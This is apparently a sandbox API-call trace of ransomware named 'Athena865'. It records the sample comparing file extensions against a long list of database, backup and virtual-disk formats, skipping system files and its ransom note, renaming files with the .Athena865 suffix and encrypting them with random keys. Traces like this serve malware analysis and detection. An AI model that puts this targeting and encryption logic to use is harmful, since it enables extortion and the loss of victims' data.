[0037.807] lstrcmpiW (lpString1="er.ax", lpString2="accdr") returned 1 [0037.807] lstrlenW (lpString="accdt") returned 5 [0037.807] lstrcmpiW (lpString1="er.ax", lpString2="accdt") returned 1 [0037.807] lstrlenW (lpString="accdw") returned 5 [0037.807] lstrcmpiW (lpString1="er.ax", lpString2="accdw") returned 1 [0037.807] lstrlenW (lpString="accft") returned 5 [0037.807] lstrcmpiW (lpString1="er.ax", lpString2="accft") returned 1 [0037.807] lstrlenW (lpString="adb") returned 3 [0037.807] lstrcmpiW (lpString1=".ax", lpString2="adb") returned -1 [0037.807] lstrlenW (lpString="adb") returned 3 [0037.807] lstrcmpiW (lpString1=".ax", lpString2="adb") returned -1 [0037.807] lstrlenW (lpString="ade") returned 3 [0037.807] lstrcmpiW (lpString1=".ax", lpString2="ade") returned -1 [0037.808] lstrlenW (lpString="adf") returned 3 [0037.808] lstrcmpiW (lpString1=".ax", lpString2="adf") returned -1 [0037.808] lstrlenW (lpString="adn") returned 3 [0037.808] lstrcmpiW (lpString1=".ax", lpString2="adn") returned -1 [0037.808] lstrlenW (lpString="adp") returned 3 [0037.808] lstrcmpiW (lpString1=".ax", lpString2="adp") returned -1 [0037.808] lstrlenW (lpString="alf") returned 3 [0037.808] lstrcmpiW (lpString1=".ax", lpString2="alf") returned -1 [0037.808] lstrlenW (lpString="ask") returned 3 [0037.808] lstrcmpiW (lpString1=".ax", lpString2="ask") returned -1 [0037.808] lstrlenW (lpString="btr") returned 3 [0037.808] lstrcmpiW (lpString1=".ax", lpString2="btr") returned -1 [0037.808] lstrlenW (lpString="cat") returned 3 [0037.808] lstrcmpiW (lpString1=".ax", lpString2="cat") returned -1 [0037.808] lstrlenW (lpString="cdb") returned 3 [0037.808] lstrcmpiW (lpString1=".ax", lpString2="cdb") returned -1 [0037.808] lstrlenW (lpString="ckp") returned 3 [0037.808] lstrcmpiW (lpString1=".ax", lpString2="ckp") returned -1 [0037.808] lstrlenW (lpString="cma") returned 3 [0037.808] lstrcmpiW (lpString1=".ax", lpString2="cma") returned -1 [0037.808] lstrlenW (lpString="cpd") returned 3 [0037.808] lstrcmpiW (lpString1=".ax", lpString2="cpd") returned -1 [0037.808] lstrlenW (lpString="dacpac") returned 6 [0037.808] lstrcmpiW (lpString1="ter.ax", lpString2="dacpac") returned 1 [0037.808] lstrlenW (lpString="dad") returned 3 [0037.808] lstrcmpiW (lpString1=".ax", lpString2="dad") returned -1 [0037.808] lstrlenW (lpString="dadiagrams") returned 10 [0037.808] lstrcmpiW (lpString1="nverter.ax", lpString2="dadiagrams") returned 1 [0037.808] lstrlenW (lpString="daschema") returned 8 [0037.808] lstrcmpiW (lpString1="erter.ax", lpString2="daschema") returned 1 [0037.808] lstrlenW (lpString="db-journal") returned 10 [0037.808] lstrcmpiW (lpString1="nverter.ax", lpString2="db-journal") returned 1 [0037.808] lstrlenW (lpString="db-shm") returned 6 [0037.808] lstrcmpiW (lpString1="ter.ax", lpString2="db-shm") returned 1 [0037.808] lstrlenW (lpString="db-wal") returned 6 [0037.808] lstrcmpiW (lpString1="ter.ax", lpString2="db-wal") returned 1 [0037.808] lstrlenW (lpString="dbc") returned 3 [0037.808] lstrcmpiW (lpString1=".ax", lpString2="dbc") returned -1 [0037.808] lstrlenW (lpString="dbs") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="dbs") returned -1 [0037.809] lstrlenW (lpString="dbt") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="dbt") returned -1 [0037.809] lstrlenW (lpString="dbv") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="dbv") returned -1 [0037.809] lstrlenW (lpString="dbx") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="dbx") returned -1 [0037.809] lstrlenW (lpString="dcb") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="dcb") returned -1 [0037.809] lstrlenW (lpString="dct") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="dct") returned -1 [0037.809] lstrlenW (lpString="dcx") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="dcx") returned -1 [0037.809] lstrlenW (lpString="ddl") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="ddl") returned -1 [0037.809] lstrlenW (lpString="dlis") returned 4 [0037.809] lstrcmpiW (lpString1="r.ax", lpString2="dlis") returned 1 [0037.809] lstrlenW (lpString="dp1") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="dp1") returned -1 [0037.809] lstrlenW (lpString="dqy") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="dqy") returned -1 [0037.809] lstrlenW (lpString="dsk") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="dsk") returned -1 [0037.809] lstrlenW (lpString="dsn") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="dsn") returned -1 [0037.809] lstrlenW (lpString="dtsx") returned 4 [0037.809] lstrcmpiW (lpString1="r.ax", lpString2="dtsx") returned 1 [0037.809] lstrlenW (lpString="dxl") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="dxl") returned -1 [0037.809] lstrlenW (lpString="eco") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="eco") returned -1 [0037.809] lstrlenW (lpString="ecx") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="ecx") returned -1 [0037.809] lstrlenW (lpString="edb") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="edb") returned -1 [0037.809] lstrlenW (lpString="epim") returned 4 [0037.809] lstrcmpiW (lpString1="r.ax", lpString2="epim") returned 1 [0037.809] lstrlenW (lpString="fcd") returned 3 [0037.809] lstrcmpiW (lpString1=".ax", lpString2="fcd") returned -1 [0037.809] lstrlenW (lpString="fdb") returned 3 [0037.810] lstrcmpiW (lpString1=".ax", lpString2="fdb") returned -1 [0037.810] lstrlenW (lpString="fic") returned 3 [0037.810] lstrcmpiW (lpString1=".ax", lpString2="fic") returned -1 [0037.810] lstrlenW (lpString="flexolibrary") returned 12 [0037.810] lstrcmpiW (lpString1="converter.ax", lpString2="flexolibrary") returned -1 [0037.810] lstrlenW (lpString="fm5") returned 3 [0037.810] lstrcmpiW (lpString1=".ax", lpString2="fm5") returned -1 [0037.810] lstrlenW (lpString="fmp") returned 3 [0037.810] lstrcmpiW (lpString1=".ax", lpString2="fmp") returned -1 [0037.810] lstrlenW (lpString="fmp12") returned 5 [0037.810] lstrcmpiW (lpString1="er.ax", lpString2="fmp12") returned -1 [0037.810] lstrlenW (lpString="fmpsl") returned 5 [0037.810] lstrcmpiW (lpString1="er.ax", lpString2="fmpsl") returned -1 [0037.810] lstrlenW (lpString="fol") returned 3 [0037.810] lstrcmpiW (lpString1=".ax", lpString2="fol") returned -1 [0037.810] lstrlenW (lpString="fp3") returned 3 [0037.810] lstrcmpiW (lpString1=".ax", lpString2="fp3") returned -1 [0037.810] lstrlenW (lpString="fp4") returned 3 [0037.810] lstrcmpiW (lpString1=".ax", lpString2="fp4") returned -1 [0037.810] lstrlenW (lpString="fp5") returned 3 [0037.810] lstrcmpiW (lpString1=".ax", lpString2="fp5") returned -1 [0037.810] lstrlenW (lpString="fp7") returned 3 [0037.810] lstrcmpiW (lpString1=".ax", lpString2="fp7") returned -1 [0037.810] lstrlenW (lpString="fpt") returned 3 [0037.810] lstrcmpiW (lpString1=".ax", lpString2="fpt") returned -1 [0037.810] lstrlenW (lpString="frm") returned 3 [0037.810] lstrcmpiW (lpString1=".ax", lpString2="frm") returned -1 [0037.810] lstrlenW (lpString="gdb") returned 3 [0037.810] lstrcmpiW (lpString1=".ax", lpString2="gdb") returned -1 [0037.810] lstrlenW (lpString="gdb") returned 3 [0037.810] lstrcmpiW (lpString1=".ax", lpString2="gdb") returned -1 [0037.810] lstrlenW (lpString="grdb") returned 4 [0037.810] lstrcmpiW (lpString1="r.ax", lpString2="grdb") returned 1 [0037.810] lstrlenW (lpString="gwi") returned 3 [0037.810] lstrcmpiW (lpString1=".ax", lpString2="gwi") returned -1 [0037.810] lstrlenW (lpString="hdb") returned 3 [0037.810] lstrcmpiW (lpString1=".ax", lpString2="hdb") returned -1 [0037.810] lstrlenW (lpString="his") returned 3 [0037.810] lstrcmpiW (lpString1=".ax", lpString2="his") returned -1 [0037.810] lstrlenW (lpString="ib") returned 2 [0037.811] lstrcmpiW (lpString1="ax", lpString2="ib") returned -1 [0037.811] lstrlenW (lpString="idb") returned 3 [0037.811] lstrcmpiW (lpString1=".ax", lpString2="idb") returned -1 [0037.811] lstrlenW (lpString="ihx") returned 3 [0037.811] lstrcmpiW (lpString1=".ax", lpString2="ihx") returned -1 [0037.811] lstrlenW (lpString="itdb") returned 4 [0037.811] lstrcmpiW (lpString1="r.ax", lpString2="itdb") returned 1 [0037.811] lstrlenW (lpString="itw") returned 3 [0037.811] lstrcmpiW (lpString1=".ax", lpString2="itw") returned -1 [0037.811] lstrlenW (lpString="jet") returned 3 [0037.811] lstrcmpiW (lpString1=".ax", lpString2="jet") returned -1 [0037.811] lstrlenW (lpString="jtx") returned 3 [0037.811] lstrcmpiW (lpString1=".ax", lpString2="jtx") returned -1 [0037.811] lstrlenW (lpString="kdb") returned 3 [0037.811] lstrcmpiW (lpString1=".ax", lpString2="kdb") returned -1 [0037.811] lstrlenW (lpString="kexi") returned 4 [0037.811] lstrcmpiW (lpString1="r.ax", lpString2="kexi") returned 1 [0037.811] lstrlenW (lpString="kexic") returned 5 [0037.811] lstrcmpiW (lpString1="er.ax", lpString2="kexic") returned -1 [0037.811] lstrlenW (lpString="kexis") returned 5 [0037.811] lstrcmpiW (lpString1="er.ax", lpString2="kexis") returned -1 [0037.811] lstrlenW (lpString="lgc") returned 3 [0037.811] lstrcmpiW (lpString1=".ax", lpString2="lgc") returned -1 [0037.811] lstrlenW (lpString="lwx") returned 3 [0037.811] lstrcmpiW (lpString1=".ax", lpString2="lwx") returned -1 [0037.811] lstrlenW (lpString="maf") returned 3 [0037.811] lstrcmpiW (lpString1=".ax", lpString2="maf") returned -1 [0037.811] lstrlenW (lpString="maq") returned 3 [0037.811] lstrcmpiW (lpString1=".ax", lpString2="maq") returned -1 [0037.811] lstrlenW (lpString="mar") returned 3 [0037.811] lstrcmpiW (lpString1=".ax", lpString2="mar") returned -1 [0037.811] lstrlenW (lpString="marshal") returned 7 [0037.811] lstrcmpiW (lpString1="rter.ax", lpString2="marshal") returned 1 [0037.811] lstrlenW (lpString="mas") returned 3 [0037.811] lstrcmpiW (lpString1=".ax", lpString2="mas") returned -1 [0037.811] lstrlenW (lpString="mav") returned 3 [0037.811] lstrcmpiW (lpString1=".ax", lpString2="mav") returned -1 [0037.811] lstrlenW (lpString="maw") returned 3 [0037.812] lstrcmpiW (lpString1=".ax", lpString2="maw") returned -1 [0037.812] lstrlenW (lpString="mdbhtml") returned 7 [0037.812] lstrcmpiW (lpString1="rter.ax", lpString2="mdbhtml") returned 1 [0037.812] lstrlenW (lpString="mdn") returned 3 [0037.812] lstrcmpiW (lpString1=".ax", lpString2="mdn") returned -1 [0037.812] lstrlenW (lpString="mdt") returned 3 [0037.812] lstrcmpiW (lpString1=".ax", lpString2="mdt") returned -1 [0037.812] lstrlenW (lpString="mfd") returned 3 [0037.812] lstrcmpiW (lpString1=".ax", lpString2="mfd") returned -1 [0037.812] lstrlenW (lpString="mpd") returned 3 [0037.812] lstrcmpiW (lpString1=".ax", lpString2="mpd") returned -1 [0037.812] lstrlenW (lpString="mrg") returned 3 [0037.812] lstrcmpiW (lpString1=".ax", lpString2="mrg") returned -1 [0037.812] lstrlenW (lpString="mud") returned 3 [0037.812] lstrcmpiW (lpString1=".ax", lpString2="mud") returned -1 [0037.812] lstrlenW (lpString="mwb") returned 3 [0037.812] lstrcmpiW (lpString1=".ax", lpString2="mwb") returned -1 [0037.812] lstrlenW (lpString="myd") returned 3 [0037.812] lstrcmpiW (lpString1=".ax", lpString2="myd") returned -1 [0037.812] lstrlenW (lpString="ndf") returned 3 [0037.812] lstrcmpiW (lpString1=".ax", lpString2="ndf") returned -1 [0037.812] lstrlenW (lpString="nnt") returned 3 [0037.812] lstrcmpiW (lpString1=".ax", lpString2="nnt") returned -1 [0037.812] lstrlenW (lpString="nrmlib") returned 6 [0037.812] lstrcmpiW (lpString1="ter.ax", lpString2="nrmlib") returned 1 [0037.812] lstrlenW (lpString="ns2") returned 3 [0037.812] lstrcmpiW (lpString1=".ax", lpString2="ns2") returned -1 [0037.812] lstrlenW (lpString="ns3") returned 3 [0037.812] lstrcmpiW (lpString1=".ax", lpString2="ns3") returned -1 [0037.812] lstrlenW (lpString="ns4") returned 3 [0037.812] lstrcmpiW (lpString1=".ax", lpString2="ns4") returned -1 [0037.812] lstrlenW (lpString="nsf") returned 3 [0037.812] lstrcmpiW (lpString1=".ax", lpString2="nsf") returned -1 [0037.812] lstrlenW (lpString="nv") returned 2 [0037.812] lstrcmpiW (lpString1="ax", lpString2="nv") returned -1 [0037.812] lstrlenW (lpString="nv2") returned 3 [0037.812] lstrcmpiW (lpString1=".ax", lpString2="nv2") returned -1 [0037.812] lstrlenW (lpString="nwdb") returned 4 [0037.812] lstrcmpiW (lpString1="r.ax", lpString2="nwdb") returned 1 [0037.813] lstrlenW (lpString="nyf") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="nyf") returned -1 [0037.813] lstrlenW (lpString="odb") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="odb") returned -1 [0037.813] lstrlenW (lpString="odb") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="odb") returned -1 [0037.813] lstrlenW (lpString="oqy") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="oqy") returned -1 [0037.813] lstrlenW (lpString="ora") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="ora") returned -1 [0037.813] lstrlenW (lpString="orx") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="orx") returned -1 [0037.813] lstrlenW (lpString="owc") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="owc") returned -1 [0037.813] lstrlenW (lpString="p96") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="p96") returned -1 [0037.813] lstrlenW (lpString="p97") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="p97") returned -1 [0037.813] lstrlenW (lpString="pan") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="pan") returned -1 [0037.813] lstrlenW (lpString="pdb") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="pdb") returned -1 [0037.813] lstrlenW (lpString="pdm") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="pdm") returned -1 [0037.813] lstrlenW (lpString="pnz") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="pnz") returned -1 [0037.813] lstrlenW (lpString="qry") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="qry") returned -1 [0037.813] lstrlenW (lpString="qvd") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="qvd") returned -1 [0037.813] lstrlenW (lpString="rbf") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="rbf") returned -1 [0037.813] lstrlenW (lpString="rctd") returned 4 [0037.813] lstrcmpiW (lpString1="r.ax", lpString2="rctd") returned -1 [0037.813] lstrlenW (lpString="rod") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="rod") returned -1 [0037.813] lstrlenW (lpString="rodx") returned 4 [0037.813] lstrcmpiW (lpString1="r.ax", lpString2="rodx") returned -1 [0037.813] lstrlenW (lpString="rpd") returned 3 [0037.813] lstrcmpiW (lpString1=".ax", lpString2="rpd") returned -1 [0037.814] lstrlenW (lpString="rsd") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="rsd") returned -1 [0037.814] lstrlenW (lpString="sas7bdat") returned 8 [0037.814] lstrcmpiW (lpString1="erter.ax", lpString2="sas7bdat") returned -1 [0037.814] lstrlenW (lpString="sbf") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="sbf") returned -1 [0037.814] lstrlenW (lpString="scx") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="scx") returned -1 [0037.814] lstrlenW (lpString="sdb") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="sdb") returned -1 [0037.814] lstrlenW (lpString="sdc") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="sdc") returned -1 [0037.814] lstrlenW (lpString="sdf") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="sdf") returned -1 [0037.814] lstrlenW (lpString="sis") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="sis") returned -1 [0037.814] lstrlenW (lpString="spq") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="spq") returned -1 [0037.814] lstrlenW (lpString="te") returned 2 [0037.814] lstrcmpiW (lpString1="ax", lpString2="te") returned -1 [0037.814] lstrlenW (lpString="teacher") returned 7 [0037.814] lstrcmpiW (lpString1="rter.ax", lpString2="teacher") returned -1 [0037.814] lstrlenW (lpString="tmd") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="tmd") returned -1 [0037.814] lstrlenW (lpString="tps") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="tps") returned -1 [0037.814] lstrlenW (lpString="trc") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="trc") returned -1 [0037.814] lstrlenW (lpString="trc") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="trc") returned -1 [0037.814] lstrlenW (lpString="trm") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="trm") returned -1 [0037.814] lstrlenW (lpString="udb") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="udb") returned -1 [0037.814] lstrlenW (lpString="udl") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="udl") returned -1 [0037.814] lstrlenW (lpString="usr") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="usr") returned -1 [0037.814] lstrlenW (lpString="v12") returned 3 [0037.814] lstrcmpiW (lpString1=".ax", lpString2="v12") returned -1 [0037.815] lstrlenW (lpString="vis") returned 3 [0037.815] lstrcmpiW (lpString1=".ax", lpString2="vis") returned -1 [0037.815] lstrlenW (lpString="vpd") returned 3 [0037.815] lstrcmpiW (lpString1=".ax", lpString2="vpd") returned -1 [0037.815] lstrlenW (lpString="vvv") returned 3 [0037.815] lstrcmpiW (lpString1=".ax", lpString2="vvv") returned -1 [0037.815] lstrlenW (lpString="wdb") returned 3 [0037.815] lstrcmpiW (lpString1=".ax", lpString2="wdb") returned -1 [0037.815] lstrlenW (lpString="wmdb") returned 4 [0037.815] lstrcmpiW (lpString1="r.ax", lpString2="wmdb") returned -1 [0037.815] lstrlenW (lpString="wrk") returned 3 [0037.815] lstrcmpiW (lpString1=".ax", lpString2="wrk") returned -1 [0037.815] lstrlenW (lpString="xdb") returned 3 [0037.815] lstrcmpiW (lpString1=".ax", lpString2="xdb") returned -1 [0037.815] lstrlenW (lpString="xld") returned 3 [0037.815] lstrcmpiW (lpString1=".ax", lpString2="xld") returned -1 [0037.815] lstrlenW (lpString="xmlff") returned 5 [0037.815] lstrcmpiW (lpString1="er.ax", lpString2="xmlff") returned -1 [0037.815] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax.Athena865") returned 59 [0037.815] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax.Athena865" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax.athena865"), dwFlags=0x1) returned 1 [0037.816] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\soniccolorconverter.ax.Athena865" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0037.816] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=79360) returned 1 [0037.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0037.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0037.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0037.816] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0037.817] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0037.817] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.817] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13900, lpName=0x0) returned 0x17c [0037.819] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13900) returned 0x100000 [0037.826] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0037.827] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0037.827] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0037.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0037.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0037.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0037.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0037.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0037.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0037.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0037.828] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0037.828] CloseHandle (hObject=0x17c) returned 1 [0037.828] CloseHandle (hObject=0x154) returned 1 [0037.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0037.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0037.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0037.831] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1 [0037.831] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0037.831] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0037.831] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2=".") returned 1 [0037.831] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="..") returned 1 [0037.831] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="windows") returned -1 [0037.831] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="bootmgr") returned 1 [0037.831] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="temp") returned -1 [0037.831] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="pagefile.sys") returned 1 [0037.831] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="boot") returned 1 [0037.831] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="ids.txt") returned 1 [0037.831] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="ntuser.dat") returned 1 [0037.831] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="perflogs") returned 1 [0037.831] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2="MSBuild") returned 1 [0037.831] lstrlenW (lpString="sonicsptransform.ax") returned 19 [0037.831] lstrcpyW (in: lpString1=0x241e87e, lpString2="sonicsptransform.ax" | out: lpString1="sonicsptransform.ax") returned="sonicsptransform.ax" [0037.831] lstrlenW (lpString="sonicsptransform.ax") returned 19 [0037.831] lstrlenW (lpString="Athena865") returned 9 [0037.831] lstrcmpiW (lpString1="nsform.ax", lpString2="Athena865") returned 1 [0037.831] lstrlenW (lpString=".dll") returned 4 [0037.831] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2=".dll") returned 1 [0037.832] lstrlenW (lpString=".lnk") returned 4 [0037.832] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2=".lnk") returned 1 [0037.832] lstrlenW (lpString=".ini") returned 4 [0037.832] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2=".ini") returned 1 [0037.832] lstrlenW (lpString=".sys") returned 4 [0037.832] lstrcmpiW (lpString1="sonicsptransform.ax", lpString2=".sys") returned 1 [0037.832] lstrlenW (lpString="sonicsptransform.ax") returned 19 [0037.832] lstrlenW (lpString="bak") returned 3 [0037.832] lstrcmpiW (lpString1=".ax", lpString2="bak") returned -1 [0037.832] lstrlenW (lpString="ba_") returned 3 [0037.832] lstrcmpiW (lpString1=".ax", lpString2="ba_") returned -1 [0037.832] lstrlenW (lpString="dbb") returned 3 [0037.832] lstrcmpiW (lpString1=".ax", lpString2="dbb") returned -1 [0037.832] lstrlenW (lpString="vmdk") returned 4 [0037.832] lstrcmpiW (lpString1="m.ax", lpString2="vmdk") returned -1 [0037.832] lstrlenW (lpString="rar") returned 3 [0037.832] lstrcmpiW (lpString1=".ax", lpString2="rar") returned -1 [0037.832] lstrlenW (lpString="zip") returned 3 [0037.832] lstrcmpiW (lpString1=".ax", lpString2="zip") returned -1 [0037.832] lstrlenW (lpString="tgz") returned 3 [0037.832] lstrcmpiW (lpString1=".ax", lpString2="tgz") returned -1 [0037.832] lstrlenW (lpString="vbox") returned 4 [0037.832] lstrcmpiW (lpString1="m.ax", lpString2="vbox") returned -1 [0037.832] lstrlenW (lpString="vdi") returned 3 [0037.832] lstrcmpiW (lpString1=".ax", lpString2="vdi") returned -1 [0037.832] lstrlenW (lpString="vhd") returned 3 [0037.832] lstrcmpiW (lpString1=".ax", lpString2="vhd") returned -1 [0037.832] lstrlenW (lpString="vhdx") returned 4 [0037.832] lstrcmpiW (lpString1="m.ax", lpString2="vhdx") returned -1 [0037.832] lstrlenW (lpString="avhd") returned 4 [0037.832] lstrcmpiW (lpString1="m.ax", lpString2="avhd") returned 1 [0037.832] lstrlenW (lpString="db") returned 2 [0037.832] lstrcmpiW (lpString1="ax", lpString2="db") returned -1 [0037.832] lstrlenW (lpString="db2") returned 3 [0037.832] lstrcmpiW (lpString1=".ax", lpString2="db2") returned -1 [0037.832] lstrlenW (lpString="db3") returned 3 [0037.833] lstrcmpiW (lpString1=".ax", lpString2="db3") returned -1 [0037.833] lstrlenW (lpString="dbf") returned 3 [0037.833] lstrcmpiW (lpString1=".ax", lpString2="dbf") returned -1 [0037.833] lstrlenW (lpString="mdf") returned 3 [0037.833] lstrcmpiW (lpString1=".ax", lpString2="mdf") returned -1 [0037.833] lstrlenW (lpString="mdb") returned 3 [0037.833] lstrcmpiW (lpString1=".ax", lpString2="mdb") returned -1 [0037.833] lstrlenW (lpString="sql") returned 3 [0037.833] lstrcmpiW (lpString1=".ax", lpString2="sql") returned -1 [0037.833] lstrlenW (lpString="sqlite") returned 6 [0037.833] lstrcmpiW (lpString1="orm.ax", lpString2="sqlite") returned -1 [0037.833] lstrlenW (lpString="sqlite3") returned 7 [0037.833] lstrcmpiW (lpString1="form.ax", lpString2="sqlite3") returned -1 [0037.833] lstrlenW (lpString="sqlitedb") returned 8 [0037.833] lstrcmpiW (lpString1="sform.ax", lpString2="sqlitedb") returned -1 [0037.833] lstrlenW (lpString="xml") returned 3 [0037.833] lstrcmpiW (lpString1=".ax", lpString2="xml") returned -1 [0037.833] lstrlenW (lpString="$er") returned 3 